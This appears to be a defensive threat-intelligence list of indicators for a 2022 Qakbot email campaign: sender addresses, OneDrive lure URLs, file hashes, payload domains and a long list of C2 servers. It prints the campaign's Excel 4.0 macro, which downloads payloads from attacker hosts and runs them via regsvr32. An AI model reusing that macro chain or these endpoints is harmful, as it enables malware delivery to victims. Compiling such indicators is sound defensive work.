/
2022-03-10 Qakbot (AA) IOCs
278 lines (259 loc) · 12.8 KB
/
2022-03-10 Qakbot (AA) IOCs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
THREAT IDENTIFICATION: QAKBOT (AA)
SUBJECTS OBSERVED
All subjects were from previously stolen email threads.
SENDERS OBSERVED
baiijar.edsah@filenod.com
clunngym@allviolinshops.com
dcan.eolbnorlennei@domicilia.com.mx
dekerbk@alcooltest.ro
dkdoogwn.oiy@uebes.edu.ec
e97lcaor@uimarkets.com
eabrithhber.rl@amtrims.com
elroaho.day@shivsenamedicalhelpcell.org
eupaaeg.ulodhpp@everybarindc.com
folo4odr8@gmpeu.com
iaav.kneluseiglrd@colegiomagdalenapostel.edu.bo
ihyplolc@rezacomputerbd.com
info@gassolution.co.id
irehicdeyehn@remedeetsante.com
latnuaen.nra@skinmed.com.pe
n.csilcrnvooeo@tomfalkplumbingandheating.com
no94ew@terrypackguitars.com
o.kistrrnriam@latchamhybridmail.co.uk
ontw.ogmnrtsbeer@pixelstd.com.br
ottbglbie@nordiana.ro
recausaheths.nt@clarte.com.mx
rjaam3@venicekart.in
skokaelsmja.iilr@murage.com.br
slbatrel@nazcafactory.com
slekaauks@ifmsaiq.org
ssa53lari@bkonnect.co.za
telrergnbieb@impulsomedico.com.mx
tortiz@mediagate.com.sa
ZIP FILE REDIRECT URLS
https://onedrive.live.com/download?cid=F5201F9115146896&resid=F5201F9115146896%21112&authkey=AEDzO7K-wHDD5iY
https://onedrive.live.com/download?cid=6B021BEEE2F2B97E&resid=6B021BEEE2F2B97E%21112&authkey=ALF72hhCtnxozPs
https://onedrive.live.com/download?cid=C54A2D9386C004D0&resid=C54A2D9386C004D0%21112&authkey=AIb_nIUi1c3qW34
https://onedrive.live.com/download?cid=73A7DE625E73101C&resid=73A7DE625E73101C%21115&authkey=AENHbQtFIWuJuOw
https://onedrive.live.com/download?cid=682B4816FE7BE53B&resid=682B4816FE7BE53B%21110&authkey=AP3wDCH1WOQmUuY
https://onedrive.live.com/download?cid=2C5FC5BF25B0DEAE&resid=2C5FC5BF25B0DEAE%21106&authkey=AFwh3g1MXSVLFQ8
https://onedrive.live.com/download?cid=09530E7120A6E48D&resid=9530E7120A6E48D%21111&authkey=ANnfAZcbfbgdaGI
https://onedrive.live.com/download?cid=3A05DEF6CB08DC8F&resid=3A05DEF6CB08DC8F%21115&authkey=AEKzIaEESV73ISo
https://onedrive.live.com/download?cid=DD5758DC0EB59119&resid=DD5758DC0EB59119%21111&authkey=APwMY8rQuY1uI0k
https://onedrive.live.com/download?cid=012D45F34DA00923&resid=12D45F34DA00923%21106&authkey=ABOhr-dUJn8fAXQ
https://onedrive.live.com/download?cid=E94C649008EEE103&resid=E94C649008EEE103%21106&authkey=ANqpSgTwyX8JM6g
https://onedrive.live.com/download?cid=69B24372DE6F5065&resid=69B24372DE6F5065%21106&authkey=AF66LPl2ME-5QEg
https://onedrive.live.com/download?cid=FBF2F88C40425131&resid=FBF2F88C40425131%21110&authkey=AKA-VN4V2SYEHGs
https://onedrive.live.com/download?cid=04AA69C627216447&resid=4AA69C627216447%21114&authkey=APWiRuYvQLabi2U
https://onedrive.live.com/download?cid=35D12A1B7B541597&resid=35D12A1B7B541597%21109&authkey=AHrIKko6qvcH7-w
https://onedrive.live.com/download?cid=B48363887C1D2BDF&resid=B48363887C1D2BDF%21105&authkey=ABhWXWnl2x0Yiqk
https://onedrive.live.com/download?cid=6CE921A7108900B9&resid=6CE921A7108900B9%21113&authkey=ABDFT-0JZDEpOX8
https://onedrive.live.com/download?cid=CFC2C479603A20AF&resid=CFC2C479603A20AF%21105&authkey=AHLtxlvFO4JXua0
https://onedrive.live.com/download?cid=44E118E845C7E4BF&resid=44E118E845C7E4BF%21107&authkey=AM73d0BdvtSWRsw
https://onedrive.live.com/download?cid=8D53E28056BB1CDF&resid=8D53E28056BB1CDF%21116&authkey=AF_BI97E89eLCOA
https://onedrive.live.com/download?cid=E91405D82D3387AE&resid=E91405D82D3387AE%21106&authkey=AMtToXdN8BeNwvc
https://onedrive.live.com/download?cid=6A89D81115B8CB79&resid=6A89D81115B8CB79%21117&authkey=ADNln9jFH7OEn98
https://onedrive.live.com/download?cid=0A513AFC8F5B1CA1&resid=A513AFC8F5B1CA1%21117&authkey=AEHNu_48HUp_tAQ
https://onedrive.live.com/download?cid=7382B200A8B064EC&resid=7382B200A8B064EC%21113&authkey=AJaiAvrM0C67rjo
https://onedrive.live.com/download?cid=CE4CCB1678C698B7&resid=CE4CCB1678C698B7%21117&authkey=AIZ4W9hBDDW7kP0
https://onedrive.live.com/download?cid=CB96420F659A3432&resid=CB96420F659A3432%21117&authkey=AJ1yJiRTrmfeeFo
https://onedrive.live.com/download?cid=E58E63930DD63D78&resid=E58E63930DD63D78%21117&authkey=AFFYA2HYy4_jXtU
https://onedrive.live.com/download?cid=27EDC2BA8CC1541A&resid=27EDC2BA8CC1541A%21117&authkey=AMmyKr6AJzzySyU
https://onedrive.live.com/download?cid=3972AC9A0EE6AB7B&resid=3972AC9A0EE6AB7B%21107&authkey=ABJNkARXyRa1bZk
ZIP FILE DOWNLOAD URLS
https://mpsohw.dm.files.1drv.com/y4mnAGFTrUKExOND-FyB2lMZ1owuOHlMH1spgu3bJ6PUvrcDwESXzho68gyf-btNxR-1TTBktm9jKMdl6iK4OCWWOhp9DXeV15YpT0KFoRcg2zeHplwsVYaxtnzXork9Kko6CwyNe2yK34MxAxz4JqXO2FaEm367aD9I286L_UCGwFebQH3rlqPS6ElKICnw2lJ9QGAueCfgIwhgiD830m8VA/naaiqmu.zip?download&psid=1
https://a3kb5g.dm.files.1drv.com/y4mb1ND5J8AcrDXUrYARUFGbG5hLTiS0FBMjCsmUBgqzxE7wZ0eE8xziI2lTccQb_zCAjleybVHfM42HBsIYPhX9Tbw_qevlXj_1z6kqnSO5gY8IpTm7r5bsbw1Ri_akQB5aBTcpjPnaHXJeC_QbihiXpiM5_0vuLYDfflcDMQwL_P8FxcM_HQgqvCS0P83edQVaocFaMbmzwu7A2EC8HE2gA/asitbneeia.zip?download&psid=1
https://ec3gtg.db.files.1drv.com/y4m4Ol0Vwksgkpm5o5G-DX_WLhPQHZIZSWU1fq9d6VKCS8Tzd64iF9JUtYwWpV22afPxgyVe6IpLPZCdIhcEsjHn0ZOHAJzaKpLIHqXd6Fpf3ZvMxwT8kTkj1SZTssjMjFUSqKdZj8MaP4XPg0cbQ4fCSq_C4WjL-m6QltLmrksFtyCGO8VxggnpD5B2nVvCFmcPBfa8pmTs9L0tjGY1Dyk7w/atiuqe.zip?download&psid=1
https://l7g0ya.db.files.1drv.com/y4mAkYmKsEA1Tx5WpC_SXpXyKE9HATo-086nXVTsZqYucBVYF4NpHiW7e2_UlhOZWMgDoUVpaJ5dwjgUE3Ol8zFk6qEBw-jmvSU0KXyn_yKW2vbE9KdPd88ku2kCjUuoZozTP-gPkWnxfLCwCzNF52gGJLBsLljIlmWpwLpF6cdQnwdrU3HP2VS8sa83UrN0gsHgEp2I4WC8Qq2lZt4pfwbKw/solivntpau.zip?download&psid=1
https://oknyga.db.files.1drv.com/y4m7NyjE2KTojdjyoTcsMVwUOduXlm5rooYQsoteybrI6MMBTQmG0FCeRrclWnU6b4jHSBYF8Sgn7z6BSm_ACSwO_K_io8KeXxWNzxMTHcl3OJ5c2NNPUjbBHAkvEBT-HAtP5aqg_mmoL7fVuwvNIe5G_JTbMQqrl1Es5KJ5Q9F4k5R49CkddVFpaTfcEVmW-vY0-7kYCsDZYPr0nmEjpXbxg/sipdamciusu.zip?download&psid=1
https://h82kwg.db.files.1drv.com/y4mUSu05ZCiYuGQZ9QujnL5P7Yjw0fE7acht_YSJa4-sTGWlZhR3XgFGzJ30JPGAOf-tDGFxpjl0WrIOyZA9lfU6hrv7TUkg6C7IHZoUtnLXW3WbguRDlXAd6F2XaNxeg_Vc8SP9kj0Isb8WicSqlxd7Iji-geazoqOcqwADd7DIl2sTWPCKLqTP_pD98ooI7u64NIsmW7OMTtKeHF1iJJvvg/sraaopuautnpersltv.zip?download&psid=1
https://0bdgpq.dm.files.1drv.com/y4m_PbrNuZS4OWimgTaDkjJCzs86EMKR-tG8CMaXLVNNqQSnzgnO9Bp07o7plQJTt70XnGengYrCf3c79trbD3fce7V2Vv9cpcweK7rwbsxdOD5RLbt24Fjvlxjue_5UFVCMkqEphvnIkoHqTMAmJwazG6oDqlG6evWsUzWfwn0lHuoQgZQNRocG7HotFWKK1mY18aHF_keDRRJ5gN-7l60Hw/pcuiclah.zip?download&psid=1
https://v1h2dq.db.files.1drv.com/y4mHybigIoaxCop00fALv0obmmIWqzuN6-WRaH1SBU16QSLYDS-77vD0excudsU6R52uhkuDw96ZdxH713FzTEXLuKAGnFZLFWKkfw11Op_vAVXAkr1ycMUdMhj4w8L8MqjtPQIKVa_HFUApgj62AuFAO7suiXVr7wtICd93pBnUyfBKzrPh2XMs6OUxGNmRRh3cH0Yy0e_AiupB1GyfCYDzA/bitetsdesi.zip?download&psid=1
https://sfmjvg.db.files.1drv.com/y4mUuHc59Aq9cdmw-lvROR_hVCb5-gxVpoUfgtvfeg6nKaNLkUttSt6h7lVcuJ6FQomc8dTTpdrK-kEKgwTF9EIa_qkEoC-6qvfLKBBc38QEckgN4g6KDEain43M4fDkJhUObrM895yaGBVEmwE1IyAs6ChAlsXs6mWQkUIS9tl64JmHiuKQFtX0U4ksHsBMB2oVwPrGBt3oyH9t0IjiP5SDA/ulsunootatcqurase.zip?download&psid=1
https://jasesq.am.files.1drv.com/y4mNe6Yc3ah-McdM3GK-hjrR_Cm82y0QjtyK4uxWE74oFDNVvxNlXo9NUxPQNqP4HUcWgZfVAMKANGo8hW__9mVl6PecKT32FhfPSNU-Pl5SOOQfnPk7wFKlKSp55a8VZcA3OeHQDOydxALZqjzUEVWXUP4raCsfgx5ZsphNlXljK49t2wzcZukTpyG4FNh_hWyI58b9XJGMK-9YJNVGzriZQ/uopimotc.zip?download&psid=1
https://6bxusw.bl.files.1drv.com/y4mgcyOQSb3HmUQEjn-DSUNmEu9WvHGZfaVAFPPznX6ZgA_I6qTBV2oAQyqJtBxwBtdoeuCjJhXClSzX02OcDS4IypjS7ZL2H92YBbDmS57Gk2WcjhL24969xnTtX_QD0oDVpUEsJQUaonGY4IDi4NMywZvkX4QxuZwecKkCLX5WgLyVflTORCk0kNaS7-tgzjI8pYSR6LodF6RtowxP3tf7A/puutiams.zip?download&psid=1
https://ilaehg.db.files.1drv.com/y4ma_4Iv0VuIOU2TH_4CsX2p7F9rSjKHd7lejf4fv2SuxiPGxApKvng1P_oJi-syZsm193nvmLlqgEh6xD65X0HVjiSilMvQv2AaAYRQSRaGQ4xiIO37bMB-m9m70FWptBMYD4ulFD3r_dZONX9WUaUzD2bNlyWj9dSyJuht-TtgeiL3uYbcJLfQulSiA6msG6A709pGcQk-zlBCMUy3rZdYg/rsqerpatuaeeanu.zip?download&psid=1
https://0fklcw.db.files.1drv.com/y4m2AtWpQCXJnM4yZ9YHBctzJO-YNfZbzqU1YXM7DVZEXpy9D1yTq00vkK-ZCBkQUII-RganS2AUnj7zVvsW32-owq6-4lEpOAmp7mGahsocQI9ZVBp8viqKgCnMFXsZnIRuLicM0-PUBV9xxFIpUlZqIiVv64N1ivGMf52qiy9KMI997_ZLELiMlOZ9-HJlHiPQvXmwAU9vITMXVdRyu2Dkg/sgoiniidnevsmitese.zip?download&psid=1
https://g9acja.db.files.1drv.com/y4mFQ2oXq-R08fS_B4MoS5huJd2KD1DVU3se_8XKAFbpWz5MfMVGH6K-InHbZfs80MrGZE3EcN9pLjyLGHwBFEYk2LzoKdYkOUPT6OhLmgVuWMUe_9pXp2uAqhul0dtNfJL6dLM74_MA510zf0VjgSPPq2_0jQTHNQ2wwbtZOqKb8TU0Pm-Wp8z72XCH_OOGa05aTFSJNmuzb5DsmPO6pUDeg/nouniq.zip?download&psid=1
ZIP FILE HASHES
052570d5ff29cf4d1f5425528b2732ac
0e1be68b6bdc9fe728ce29d70c7f1bf9
15de3c8e5696766b70b2c415f2554447
2138fb380b1382cf29afbe60ceb92dc1
23f4439ae75ff14545fab725055f6ad6
369f86468e94e852390fbe7e029b6b31
8463fb1e4ecf65ba1469c036039aa929
8570341c25eab16add92a7d2b1177699
870a20124262da233313dc1aefde0546
87e7810e2f045ba8c887bf9e5708e53f
895acf3340f0f16182f083d0b19a3da3
ed2de7b5dce7a6063fb911af4cf6f3cd
f4c4de12daeaeff9671e31fdd59685de
f648ae9d32fbd2e3f976166a220bf70c
XLSB FILE HASHES
02ce50db7c0e30ab83eff60d1c805a1b
07b4f1029570a154861af2c961be4f5e
09d89d276165a88a08a86c7c6c939a61
1af308f01d4c24ad27dbbf964dd6c965
244f16e6ea0a6efa9c95f356648e9038
4c0963278299eb80439e0dfc7a325fe0
4d98074f66b5cf12f3cc3b848dcf85f7
5176e3fcbf42d5ddc23899a7b5998605
5895e0077496a6a6174ec38e0543c465
716216bfc02d0f9b1c0102257ffb7289
931dbbe5b84d6253a53fa98190063d9b
ed8e7e4fc9e5a9958b0eb886aa8e4afc
f5587bdd56c16430bacda443df508eb8
EXCEL4 MACROS
=CALL("Kernel32","CreateDirectoryA","JCJ","C:\Educ",0)
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://plokoto.cf/IB61RO0Z6C/33.png","C:\Educ\mw1.ocx",0,0)
=EXEC("regsvr32 C:\Educ\mw1.ocx")
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://3635optical.ga/YFPzuOmr/33.png","C:\Educ\mw2.ocx",0,0)
=EXEC("regsvr32 C:\Educ\mw2.ocx")
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://leoedelucca.com.br/JSHi41WBfv/33.png","C:\Educ\uex.xex",0,0)
=EXEC("regsvr32 C:\Educ\uex.xex")
=RETURN()
PAYLOAD DOWNLOAD URLS
http://plokoto.cf/IB61RO0Z6C/33.png
http://3635optical.ga/YFPzuOmr/33.png
https://leoedelucca.com.br/JSHi41WBfv/33.png
PAYLOAD DOWNLOAD DOMAINS
3635optical.ga
leoedelucca.com.br
plokoto.cf
QAKBOT PAYLOAD FILE HASHES
33.png
0a978dac07092d35a3ffde2ed2ea63bf
33.png
9332c22fa255cc255524574017fdd695
33.png
e2ff61d880cd964aed65c9ce47499c8e
(This one is not an executable file)
Renamed and copied to:
C:\Educ\mw1.ocx
C:\Educ\mw2.ocx
C:\Educ\uex.xex
UNPACKED PAYLOAD FILE HASH
a0000.dll
8f0aaf287be2b3dd9b1996b089139c0a
BOTNET INFORMATION
Botnet=AA
Campaign=1646840852
QAKBOT C2s
http://189.253.32.57:995
http://1.161.97.2:443
http://201.170.181.185:443
http://83.110.75.28:995
http://176.45.218.232:995
http://206.217.0.29:995
http://71.74.12.90:443
http://89.101.97.127:443
http://5.32.41.251:443
http://31.35.28.238:443
http://24.43.99.178:443
http://93.48.80.227:995
http://217.165.79.22:995
http://89.86.33.143:443
http://40.134.247.169:995
http://96.21.251.19:2222
http://172.114.160.113:443
http://5.95.58.59:2087
http://172.114.160.40:995
http://149.28.238.61:995
http://80.11.74.143:2222
http://81.229.130.122:443
http://197.89.21.164:443
http://120.150.218.145:995
http://103.139.242.7:990
http://78.100.194.120:6883
http://190.73.3.25:2222
http://183.88.63.109:2222
http://189.146.51.19:443
http://120.61.3.200:443
http://82.152.39.41:443
http://41.228.22.72:443
http://76.169.147.254:32103
http://140.82.49.210:443
http://45.63.1.102:995
http://173.21.10.48:2222
http://39.44.188.166:995
http://217.128.93.6:2222
http://176.57.126.18:443
http://45.76.167.122:995
http://1.161.97.234:995
http://72.12.115.49:22
http://72.252.201.127:995
http://24.178.196.168:2222
http://68.204.7.205:443
http://24.55.67.127:443
http://39.52.62.31:995
http://32.221.225.175:443
http://144.202.2.80:443
http://96.246.158.114:995
http://190.189.33.147:32101
http://76.25.142.167:443
http://70.46.220.138:443
http://83.110.218.92:32101
http://63.153.150.204:443
http://217.165.79.129:443
http://144.202.3.194:443
http://173.174.216.88:443
http://105.187.31.12:995
http://186.10.247.121:443
http://103.87.95.152:2222
http://72.76.94.14:443
http://86.98.11.60:443
http://183.82.103.88:443
http://45.63.1.5:443
http://80.14.188.95:2222
http://41.130.133.138:995
http://47.180.172.148:443
http://216.10.217.32:443
http://79.167.199.80:995
http://63.143.92.202:995
http://71.13.93.237:2222
http://196.203.37.22:80
http://208.107.221.191:443
http://75.159.9.59:443
http://109.12.111.245:443
http://149.28.238.27:443
http://45.76.167.87:443
http://89.137.52.194:443
http://73.151.236.73:443
http://176.67.56.99:443
http://175.145.235.10:443
http://128.106.122.172:443
http://67.209.195.22:443
http://31.215.70.204:443
http://217.164.120.157:2222
http://70.163.1.80:443
http://207.170.238.252:443
http://38.70.253.187:2222
http://124.41.193.30:443
http://47.180.172.9:50010
http://72.252.201.131:990
http://47.156.191.143:443
http://209.210.95.233:32100
http://89.211.187.54:2222
http://114.79.148.64:443
http://84.241.8.73:32103
http://47.23.89.106:995
http://144.202.2.222:995
http://69.159.200.51:2222
http://92.177.45.233:2078
http://100.1.108.84:443
http://121.74.187.241:995
http://187.170.7.73:443
http://86.97.209.37:1194
http://191.112.19.218:443
http://83.110.153.19:61200
http://41.84.246.222:443
http://187.59.18.152:443
http://182.191.92.199:995
http://39.49.53.200:995
http://197.37.66.40:995
http://217.128.122.254:2222
http://75.99.168.59:443
http://139.64.13.67:995
http://191.99.191.1:443
http://176.253.27.194:443